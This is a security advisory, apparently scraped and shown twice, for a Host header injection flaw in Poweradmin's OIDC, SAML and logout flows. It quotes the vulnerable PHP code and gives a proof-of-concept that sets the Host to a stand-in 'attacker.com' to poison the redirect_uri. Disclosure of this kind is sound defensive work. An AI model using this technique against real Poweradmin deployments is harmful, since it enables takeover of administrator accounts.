CVE-2026-54588

Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled HTTP_HOST request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the redirect_uri sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.

Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled HTTP_HOST request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the redirect_uri sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.

Summary

Poweradmin v4.3.2 uses the attacker-controlled HTTP_HOST request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the redirect_uri sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required.

Three independent code paths are affected:

• Primary (Critical): OidcService::getCallbackUrl() - redirect_uri poisoning
• Secondary (High): SamlConfigurationService::getBaseUrl() - SAML ACS/SLO URL poisoning
• Tertiary (Medium): LogoutController::getBaseUrl() - post-logout redirect poisoning

Details

Root Cause

The application constructs absolute URLs dynamically from HTTP_HOST rather than from a trusted configured base URL. The header is fully client-controlled and is not validated before use in any authentication flow.

Poweradmin's own codebase contains the correct pattern - DocsController::getValidatedHost() (line 244) calls isValidHostname() before using the value - but this was never applied to authentication flows.

Primary: lib/Application/Service/OidcService.php (~line 460)

private function getCallbackUrl(): string
{
    $scheme = $this->detectScheme();
    // HTTP_HOST taken directly with zero validation
    $host = $this->request->getServerParam('HTTP_HOST', 'localhost');
    $basePrefix = $this->configManager->get('interface', 'base_url_prefix', '');
    return $scheme . '://' . $host . $basePrefix . '/oidc/callback';
}

HTTP_HOST is embedded verbatim as redirect_uri in the OAuth 2.0 authorization
request sent to the IdP. HTTP_X_FORWARDED_PROTO is similarly used unvalidated
for scheme detection.

Secondary: lib/Application/Service/SamlConfigurationService.php (~line 134)

private function getBaseUrl(): string
{
    $configuredBaseUrl = $this->configManager->get('interface', 'base_url', '');
    if (!empty($configuredBaseUrl)) {
        return rtrim($configuredBaseUrl, '/');  // safe path - rarely configured
    }
    // Falls through on every default installation
    $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
    ...
    return $scheme . '://' . $host . $prefix;
}

Used to construct SAML ACS URL, SLO URL, and entity ID - all poisonable via Host header.
The safe fallback only activates when interface.base_url is explicitly set, which is
optional and empty by default.

Tertiary: lib/Application/Controller/LogoutController.php (~line 272)

Same $_SERVER['HTTP_HOST'] pattern used for post-logout redirect URL construction.

### PoC
Environment: Poweradmin v4.3.2, Docker, PHP 8.2, OIDC enabled, interface.base_url empty (default).

docker exec poweradmin-container php -r "
require '/app/vendor/autoload.php';
putenv('PA_CONFIG_PATH=/app/config/settings.php');

use PowerAdmin\Application\Service\OidcService;
use PowerAdmin\Infrastructure\Configuration\ConfigurationManager;
use PowerAdmin\Infrastructure\Web\Request;

\$_SERVER['HTTP_HOST'] = 'attacker.com';
\$_SERVER['HTTPS']     = '';

\$config      = ConfigurationManager::getInstance();
\$request     = new Request();
\$oidcService = new OidcService(\$config, \$request);
\$authUrl     = \$oidcService->initiateAuthFlow('test');

parse_str(parse_url(\$authUrl, PHP_URL_QUERY), \$p);
echo 'redirect_uri: ' . urldecode(\$p['redirect_uri']) . PHP_EOL;

if (str_contains(\$p['redirect_uri'], 'attacker.com')) {
    echo '[CONFIRMED] Host header injection successful' . PHP_EOL;
}
"

Output:

redirect_uri: http://attacker.com/oidc/callback

[CONFIRMED] Host header injection successful - redirect_uri contains attacker.com

The redirect_uri in the authorization request sent to the Identity Provider is
http://attacker.com/oidc/callback. The…

Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled HTTP_HOST request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the redirect_uri sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.

Poweradmin is a web-based DNS administration tool for PowerDNS server. Versions prior to 4.2.4 and 4.3.3 use the attacker-controlled HTTP_HOST request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the redirect_uri sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Versions 4.2.4 and 4.3.3 patch the issue.

Summary

Poweradmin v4.3.2 uses the attacker-controlled HTTP_HOST request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the redirect_uri sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required.

Three independent code paths are affected:

• Primary (Critical): OidcService::getCallbackUrl() - redirect_uri poisoning
• Secondary (High): SamlConfigurationService::getBaseUrl() - SAML ACS/SLO URL poisoning
• Tertiary (Medium): LogoutController::getBaseUrl() - post-logout redirect poisoning

Details

Root Cause

The application constructs absolute URLs dynamically from HTTP_HOST rather than from a trusted configured base URL. The header is fully client-controlled and is not validated before use in any authentication flow.

Poweradmin's own codebase contains the correct pattern - DocsController::getValidatedHost() (line 244) calls isValidHostname() before using the value - but this was never applied to authentication flows.

Primary: lib/Application/Service/OidcService.php (~line 460)

private function getCallbackUrl(): string
{
    $scheme = $this->detectScheme();
    // HTTP_HOST taken directly with zero validation
    $host = $this->request->getServerParam('HTTP_HOST', 'localhost');
    $basePrefix = $this->configManager->get('interface', 'base_url_prefix', '');
    return $scheme . '://' . $host . $basePrefix . '/oidc/callback';
}

HTTP_HOST is embedded verbatim as redirect_uri in the OAuth 2.0 authorization
request sent to the IdP. HTTP_X_FORWARDED_PROTO is similarly used unvalidated
for scheme detection.

Secondary: lib/Application/Service/SamlConfigurationService.php (~line 134)

private function getBaseUrl(): string
{
    $configuredBaseUrl = $this->configManager->get('interface', 'base_url', '');
    if (!empty($configuredBaseUrl)) {
        return rtrim($configuredBaseUrl, '/');  // safe path - rarely configured
    }
    // Falls through on every default installation
    $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
    ...
    return $scheme . '://' . $host . $prefix;
}

Used to construct SAML ACS URL, SLO URL, and entity ID - all poisonable via Host header.
The safe fallback only activates when interface.base_url is explicitly set, which is
optional and empty by default.

Tertiary: lib/Application/Controller/LogoutController.php (~line 272)

Same $_SERVER['HTTP_HOST'] pattern used for post-logout redirect URL construction.

### PoC
Environment: Poweradmin v4.3.2, Docker, PHP 8.2, OIDC enabled, interface.base_url empty (default).

docker exec poweradmin-container php -r "
require '/app/vendor/autoload.php';
putenv('PA_CONFIG_PATH=/app/config/settings.php');

use PowerAdmin\Application\Service\OidcService;
use PowerAdmin\Infrastructure\Configuration\ConfigurationManager;
use PowerAdmin\Infrastructure\Web\Request;

\$_SERVER['HTTP_HOST'] = 'attacker.com';
\$_SERVER['HTTPS']     = '';

\$config      = ConfigurationManager::getInstance();
\$request     = new Request();
\$oidcService = new OidcService(\$config, \$request);
\$authUrl     = \$oidcService->initiateAuthFlow('test');

parse_str(parse_url(\$authUrl, PHP_URL_QUERY), \$p);
echo 'redirect_uri: ' . urldecode(\$p['redirect_uri']) . PHP_EOL;

if (str_contains(\$p['redirect_uri'], 'attacker.com')) {
    echo '[CONFIRMED] Host header injection successful' . PHP_EOL;
}
"

Output:

redirect_uri: http://attacker.com/oidc/callback

[CONFIRMED] Host header injection successful - redirect_uri contains attacker.com

The redirect_uri in the authorization request sent to the Identity Provider is
http://attacker.com/oidc/callback. The…